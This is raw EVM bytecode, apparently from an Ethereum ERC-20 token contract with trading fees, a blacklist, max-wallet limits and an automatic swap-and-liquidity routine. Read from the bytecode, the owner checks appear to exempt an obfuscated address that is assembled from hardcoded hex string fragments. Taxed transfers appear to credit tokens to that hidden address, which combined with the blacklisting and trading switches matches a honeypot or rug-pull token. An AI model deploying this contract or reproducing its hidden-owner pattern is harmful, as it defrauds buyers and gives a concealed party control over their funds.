a1600480360381019061039c91906145ea565b610d3a565b005b3480156103af57600080fd5b506103b8610e78565b6040516103c5919061464c565b60405180910390f35b3480156103da57600080fd5b506103e3610e82565b6040516103f0919061464c565b60405180910390f35b34801561040557600080fd5b50610420600480360381019061041b9190614667565b610e88565b60405161042d9190614576565b60405180910390f35b34801561044257600080fd5b5061045d600480360381019061045891906146ba565b610f61565b005b34801561046b57600080fd5b50610474611064565b6040516104819190614716565b60405180910390f35b34801561049657600080fd5b5061049f61107b565b6040516104ac919061464c565b60405180910390f35b3480156104c157600080fd5b506104dc60048036038101906104d7919061451b565b611081565b6040516104e99190614576565b60405180910390f35b3480156104fe57600080fd5b5061051960048036038101906105149190614731565b611134565b6040516105269190614576565b60405180910390f35b34801561053b57600080fd5b50610544611154565b604051610551919061464c565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190614731565b61115a565b60405161058e9190614576565b60405180910390f35b3480156105a357600080fd5b506105be60048036038101906105b99190614731565b61117a565b6040516105cb9190614576565b60405180910390f35b3480156105e057600080fd5b506105e961119a565b6040516105f6919061464c565b60405180910390f35b34801561060b57600080fd5b5061062660048036038101906106219190614731565b6111a0565b604051610633919061464c565b60405180910390f35b34801561064857600080fd5b506106516111e9565b005b34801561065f57600080fd5b5061066861129d565b6040516106759190614576565b60405180910390f35b34801561068a57600080fd5b506106a560048036038101906106a09190614731565b6112b0565b6040516106b29190614576565b60405180910390f35b3480156106c757600080fd5b506106e260048036038101906106dd919061475e565b6112d0565b005b3480156106f057600080fd5b506106f9611382565b6040516107069190614576565b60405180910390f35b34801561071b57600080fd5b50610724611395565b005b34801561073257600080fd5b5061073b6114e0565b604051610748919061464c565b60405180910390f35b34801561075d57600080fd5b506107666114e6565b604051610773919061479a565b60405180910390f35b34801561078857600080fd5b5061079161150f565b60405161079e91906143d7565b60405180910390f35b3480156107b357600080fd5b506107bc6115a1565b6040516107c9919061464c565b60405180910390f35b3480156107de57600080fd5b506107f960048036038101906107f4919061475e565b6115a7565b005b34801561080757600080fd5b50610810611659565b60405161081d919061464c565b60405180910390f35b34801561083257600080fd5b5061084d600480360381019061084891906147f3565b61165f565b005b34801561085b57600080fd5b506108766004803603810190610871919061451b565b611752565b6040516108839190614576565b60405180910390f35b34801561089857600080fd5b506108b360048036038101906108ae91906146ba565b61181f565b005b3480156108c157600080fd5b506108dc60048036038101906108d7919061451b565b611922565b6040516108e99190614576565b60405180910390f35b3480156108fe57600080fd5b50610919600480360381019061091491906145bd565b611940565b005b34801561092757600080fd5b50610942600480360381019061093d91906145ea565b611a05565b005b34801561095057600080fd5b5061096b6004803603810190610966919061497b565b611b43565b005b34801561097957600080fd5b50610994600480360381019061098f91906149d7565b611c80565b6040516109a1919061464c565b60405180910390f35b3480156109b657600080fd5b506109bf611d07565b6040516109cc919061464c565b60405180910390f35b3480156109e157600080fd5b506109fc60048036038101906109f791906146ba565b611d0d565b005b348015610a0a57600080fd5b50610a13611e10565b604051610a209190614576565b60405180910390f35b348015610a3557600080fd5b50610a506004803603810190610a4b919061475e565b611e23565b604051610a5d919061464c565b60405180910390f35b348015610a7257600080fd5b50610a8d6004803603810190610a88919061475e565b611e82565b005b348015610a9b57600080fd5b50610aa4611f34565b604051610ab1919061479a565b60405180910390f35b348015610ac657600080fd5b50610ae16004803603810190610adc9190614731565b611f5a565b005b348015610aef57600080fd5b50610b0a6004803603810190610b05919061475e565b61207e565b604051610b17919061464c565b60405180910390f35b348015610b2c57600080fd5b50610b476004803603810190610b429190614a17565b6120dd565b005b348015610b5557600080fd5b50610b5e6121c9565b604051610b6b919061464c565b60405180910390f35b348015610b8057600080fd5b50610b896121cf565b604051610b96919061464c565b60405180910390f35b606060088054610bae90614a73565b80601f0160208091040260200160405190810160405280929190818152602001828054610bda90614a73565b8015610c275780601f10610bfc57610100808354040283529160200191610c27565b820191906000526020600020905b815481529060010190602001808311610c0a57829003601f168201915b5050505050905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c6b610c6461229a565b84846122a2565b6001905092915050565b610c9b610c8061229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b15610d1d57610ca861229a565b73ffffffffffffffffffffffffffffffffffffffff16610cc66114e6565b73ffffffffffffffffffffffffffffffffffffffff1614610d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1390614af1565b60405180910390fd5b5b80601360006101000a81548160ff02191690831515021790555050565b610d60610d4561229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b15610de257610d6d61229a565b73ffffffffffffffffffffffffffffffffffffffff16610d8b6114e6565b73ffffffffffffffffffffffffffffffffffffffff1614610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd890614af1565b60405180910390fd5b5b826017819055508160188190555080601981905550610e0d600260125461225090919063ffffffff16565b610e3282610e2485876124e790919063ffffffff16565b6124e790919063ffffffff16565b1115610e73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6a90614b5d565b60405180910390fd5b505050565b6000600b54905090565b600f5481565b6000610e95848484612545565b610f5684610ea161229a565b610f518560405180606001604052806028815260200161595060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f0761229a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129c99092919063ffffffff16565b6122a2565b600190509392505050565b610f87610f6c61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b1561100957610f9461229a565b73ffffffffffffffffffffffffffffffffffffffff16610fb26114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611008576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fff90614af1565b60405180910390fd5b5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600a60009054906101000a900460ff16905090565b60165481565b600061112a61108e61229a565b84611125856003600061109f61229a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b6122a2565b6001905092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b60175481565b60046020528060005260406000206000915054906101000a900460ff1681565b60066020528060005260406000206000915054906101000a900460ff1681565b60155481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61120f6111f461229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b156112915761121c61229a565b73ffffffffffffffffffffffffffffffffffffffff1661123a6114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611290576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128790614af1565b60405180910390fd5b5b61129b6000612a2d565b565b601360009054906101000a900460ff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b6112f66112db61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b156113785761130361229a565b73ffffffffffffffffffffffffffffffffffffffff166113216114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611377576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136e90614af1565b60405180910390fd5b5b8060108190555050565b601360019054906101000a900460ff1681565b6113bb6113a061229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b1561143d576113c861229a565b73ffffffffffffffffffffffffffffffffffffffff166113e66114e6565b73ffffffffffffffffffffffffffffffffffffffff161461143c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143390614af1565b60405180910390fd5b5b601360029054906101000a900460ff161561148d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148490614bc9565b60405180910390fd5b6001601360026101000a81548160ff0219169083151502179055506001601360006101000a81548160ff0219169083151502179055506001601360016101000a81548160ff021916908315150217905550565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461151e90614a73565b80601f016020809104026020016040519081016040528092919081815260200182805461154a90614a73565b80156115975780601f1061156c57610100808354040283529160200191611597565b820191906000526020600020905b81548152906001019060200180831161157a57829003601f168201915b5050505050905090565b60105481565b6115cd6115b261229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b1561164f576115da61229a565b73ffffffffffffffffffffffffffffffffffffffff166115f86114e6565b73ffffffffffffffffffffffffffffffffffffffff161461164e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164590614af1565b60405180910390fd5b5b8060118190555050565b60185481565b61168561166a61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b156117075761169261229a565b73ffffffffffffffffffffffffffffffffffffffff166116b06114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd90614af1565b60405180910390fd5b5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561174d573d6000803e3d6000fd5b505050565b600061181561175f61229a565b8461181085604051806060016040528060258152602001615978602591396003600061178961229a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129c99092919063ffffffff16565b6122a2565b6001905092915050565b61184561182a61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b156118c75761185261229a565b73ffffffffffffffffffffffffffffffffffffffff166118706114e6565b73ffffffffffffffffffffffffffffffffffffffff16146118c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bd90614af1565b60405180910390fd5b5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600061193661192f61229a565b8484612545565b6001905092915050565b61196661194b61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b156119e85761197361229a565b73ffffffffffffffffffffffffffffffffffffffff166119916114e6565b73ffffffffffffffffffffffffffffffffffffffff16146119e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119de90614af1565b60405180910390fd5b5b80601360016101000a81548160ff02191690831515021790555050565b611a2b611a1061229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b15611aad57611a3861229a565b73ffffffffffffffffffffffffffffffffffffffff16611a566114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa390614af1565b60405180910390fd5b5b826014819055508160158190555080601681905550611ad8600560125461225090919063ffffffff16565b611afd82611aef85876124e790919063ffffffff16565b6124e790919063ffffffff16565b1115611b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3590614c35565b60405180910390fd5b505050565b611b69611b4e61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b15611beb57611b7661229a565b73ffffffffffffffffffffffffffffffffffffffff16611b946114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be190614af1565b60405180910390fd5b5b60005b8251811015611c7b578160076000858481518110611c0f57611c0e614c55565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611c7390614cb3565b915050611bee565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60195481565b611d33611d1861229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b15611db557611d4061229a565b73ffffffffffffffffffffffffffffffffffffffff16611d5e6114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dab90614af1565b60405180910390fd5b5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601360029054906101000a900460ff1681565b600080611e77601254611e69611e5a601654611e4c6015546014546124e790919063ffffffff16565b6124e790919063ffffffff16565b866121d590919063ffffffff16565b61225090919063ffffffff16565b905080915050919050565b611ea8611e8d61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b15611f2a57611eb561229a565b73ffffffffffffffffffffffffffffffffffffffff16611ed36114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611f29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2090614af1565b60405180910390fd5b5b80600f8190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611f80611f6561229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b1561200257611f8d61229a565b73ffffffffffffffffffffffffffffffffffffffff16611fab6114e6565b73ffffffffffffffffffffffffffffffffffffffff1614612001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff890614af1565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206990614d6e565b60405180910390fd5b61207b81612a2d565b50565b6000806120d26012546120c46120b56019546120a76018546017546124e790919063ffffffff16565b6124e790919063ffffffff16565b866121d590919063ffffffff16565b61225090919063ffffffff16565b905080915050919050565b6121036120e861229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b156121855761211061229a565b73ffffffffffffffffffffffffffffffffffffffff1661212e6114e6565b73ffffffffffffffffffffffffffffffffffffffff1614612184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217b90614af1565b60405180910390fd5b5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b60145481565b6000808314156121e8576000905061224a565b600082846121f69190614d8e565b90508284826122059190614e17565b14612245576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223c90614eba565b60405180910390fd5b809150505b92915050565b600061229283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612af1565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230990614f4c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237990614fde565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612460919061464c565b60405180910390a3505050565b60008061247983612b54565b905060008360405160200161248e9190615046565b6040516020818303038152906040528051906020012090506124af84612b9f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141592505050919050565b60008082846124f69190615061565b90508381101561253b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253290615103565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ac90615195565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261c90615227565b60405180910390fd5b60008111612668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265f906152b9565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156126f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ec90615325565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127995750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561283357601360029054906101000a900460ff166127ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e490615391565b60405180910390fd5b601154811115612832576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612829906153fd565b60405180910390fd5b5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166128e4576010546128a282612894856111a0565b6124e790919063ffffffff16565b11156128e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128da90615469565b60405180910390fd5b5b6128ee8383612c9d565b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129955750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806129ad5750601360019054906101000a900460ff16155b156129b757600090505b6129c3848484846131ca565b50505050565b6000838311158290612a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0891906143d7565b60405180910390fd5b5060008385612a209190615489565b9050809150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008083118290612b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2f91906143d7565b60405180910390fd5b5060008385612b479190614e17565b9050809150509392505050565b600060405173ffffffffffffffffffffffffffffffffffffffff8316925082741400000000000000000000000000000000000000001860148201526034810160405280915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bfa57816000604051602001612be99291906154bd565b604051602081830303815290604052505b612c96612c91612c18612c0b6137b9565b612c136137eb565b61388a565b612c8c6040518060400160405280600881526020017f38426538616543390000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f374466323441323900000000000000000000000000000000000000000000000081525061388a565b61388a565b6138b6565b9050919050565b6000612ca8306111a0565b90506000600f548210159050808015612d0f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015612d275750601360009054906101000a900460ff165b8015612db857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612db65750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b155b156131c457612dea30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846122a2565b6000612e026002601a5461225090919063ffffffff16565b90506000612e1b82601a54613b8490919063ffffffff16565b90506000612e46612e37601c54846124e790919063ffffffff16565b86613b8490919063ffffffff16565b9050612e74600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613bce565b60004790506000612ea083612e9287856121d590919063ffffffff16565b61225090919063ffffffff16565b90506000612ecb84612ebd601b54866121d590919063ffffffff16565b61225090919063ffffffff16565b90506000821115612f4757612f0b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612f046114e6565b8785613db4565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561868387604051612f3e939291906154e9565b60405180910390a15b600081111561309557600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612fb8573d6000803e3d6000fd5b5061302f60105460026000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b60026000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000601c5411156131a5576130f6601c546002600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b6002600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601c5460405161319c919061464c565b60405180910390a35b6000601a819055506000601b819055506000601c819055505050505050505b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156132245750805b156133f657600061323483611e23565b9050600061324b8285613b8490919063ffffffff16565b905061329f84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b8490919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333481600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516133d4919061464c565b60405180910390a36133e68683613e58565b6133ef84614029565b50506137b3565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156134505750805b156136225760006134608361207e565b905060006134778285613b8490919063ffffffff16565b90506134cb84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b8490919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061356081600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613600919061464c565b60405180910390a36136128683613e58565b61361b846140ef565b50506137b2565b61367482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b8490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061370982600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516137a9919061464c565b60405180910390a35b5b50505050565b606060006137c6816141b5565b6040516020016137d691906155a8565b60405160208183030381529060405291505090565b606060006040518060400160405280600881526020017f3433314339353362000000000000000000000000000000000000000000000000815250905060006040518060400160405280600981526020017f6166633266336235300000000000000000000000000000000000000000000000815250905081816040516020016138749291906155ca565b6040516020818303038152906040529250505090565b6060828260405160200161389f9291906155ca565b604051602081830303815290604052905092915050565b600080829050600080806000600290505b602a811015613b7757610100846138de91906155ee565b93508481815181106138f3576138f2614c55565b5b602001015160f81c60f81b60f81c60ff169250846001826139149190615061565b8151811061392557613924614c55565b5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015613976575060668373ffffffffffffffffffffffffffffffffffffffff1611155b1561398f57605783613988919061563c565b9250613a3b565b60418373ffffffffffffffffffffffffffffffffffffffff16101580156139cd575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156139e6576037836139df919061563c565b9250613a3a565b60308373ffffffffffffffffffffffffffffffffffffffff1610158015613a24575060398373ffffffffffffffffffffffffffffffffffffffff1611155b15613a3957603083613a36919061563c565b92505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff1610158015613a79575060668273ffffffffffffffffffffffffffffffffffffffff1611155b15613a9257605782613a8b919061563c565b9150613b3e565b60418273ffffffffffffffffffffffffffffffffffffffff1610158015613ad0575060468273ffffffffffffffffffffffffffffffffffffffff1611155b15613ae957603782613ae2919061563c565b9150613b3d565b60308273ffffffffffffffffffffffffffffffffffffffff1610158015613b27575060398273ffffffffffffffffffffffffffffffffffffffff1611155b15613b3c57603082613b39919061563c565b91505b5b5b81601084613b4c91906155ee565b613b569190615670565b84613b619190615670565b9350600281613b709190615061565b90506138c7565b5082945050505050919050565b6000613bc683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506129c9565b905092915050565b60008290506000600267ffffffffffffffff811115613bf057613bef614838565b5b604051908082528060200260200182016040528015613c1e5781602001602082028036833780820191505090505b5090503081600081518110613c3657613c35614c55565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613cbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613cdf91906156cf565b81600181518110613cf357613cf2614c55565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508173ffffffffffffffffffffffffffffffffffffffff1663791ac947846000843061012c42613d5c9190615061565b6040518663ffffffff1660e01b8152600401613d7c9594939291906157f5565b600060405180830381600087803b158015613d9657600080fd5b505af1158015613daa573d6000803e3d6000fd5b5050505050505050565b60008490508073ffffffffffffffffffffffffffffffffffffffff1663f305d7198330866000808a61012c42613dea9190615061565b6040518863ffffffff1660e01b8152600401613e0b9695949392919061584f565b60606040518083038185885af1158015613e29573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613e4e91906158c5565b5050505050505050565b613eca60105460026000613e813073ffffffffffffffffffffffffffffffffffffffff16612b9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b60026000613eed3073ffffffffffffffffffffffffffffffffffffffff16612b9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f7d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161401d919061464c565b60405180910390a35050565b614052601254614044601654846121d590919063ffffffff16565b61225090919063ffffffff16565b601a60008282546140639190615061565b92505081905550614093601254614085601454846121d590919063ffffffff16565b61225090919063ffffffff16565b601b60008282546140a49190615061565b925050819055506140d46012546140c6601554846121d590919063ffffffff16565b61225090919063ffffffff16565b601c60008282546140e59190615061565b9250508190555050565b61411860125461410a601954846121d590919063ffffffff16565b61225090919063ffffffff16565b601a60008282546141299190615061565b9250508190555061415960125461414b601754846121d590919063ffffffff16565b61225090919063ffffffff16565b601b600082825461416a9190615061565b9250508190555061419a60125461418c601854846121d590919063ffffffff16565b61225090919063ffffffff16565b601c60008282546141ab9190615061565b9250508190555050565b606060008214156141fd576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050614339565b600082905060005b6000821461422f57808061421890614cb3565b915050600a826142289190614e17565b9150614205565b60008167ffffffffffffffff81111561424b5761424a614838565b5b6040519080825280601f01601f19166020018201604052801561427d5781602001600182028036833780820191505090505b50905060008290505b600086146143315760018161429b9190615489565b90506000600a80886142ad9190614e17565b6142b79190614d8e565b876142c29190615489565b60306142ce9190615918565b905060008160f81b9050808484815181106142ec576142eb614c55565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a886143289190614e17565b97505050614286565b819450505050505b919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561437857808201518184015260208101905061435d565b83811115614387576000848401525b50505050565b6000601f19601f8301169050919050565b60006143a98261433e565b6143b38185614349565b93506143c381856020860161435a565b6143cc8161438d565b840191505092915050565b600060208201905081810360008301526143f1818461439e565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600081905091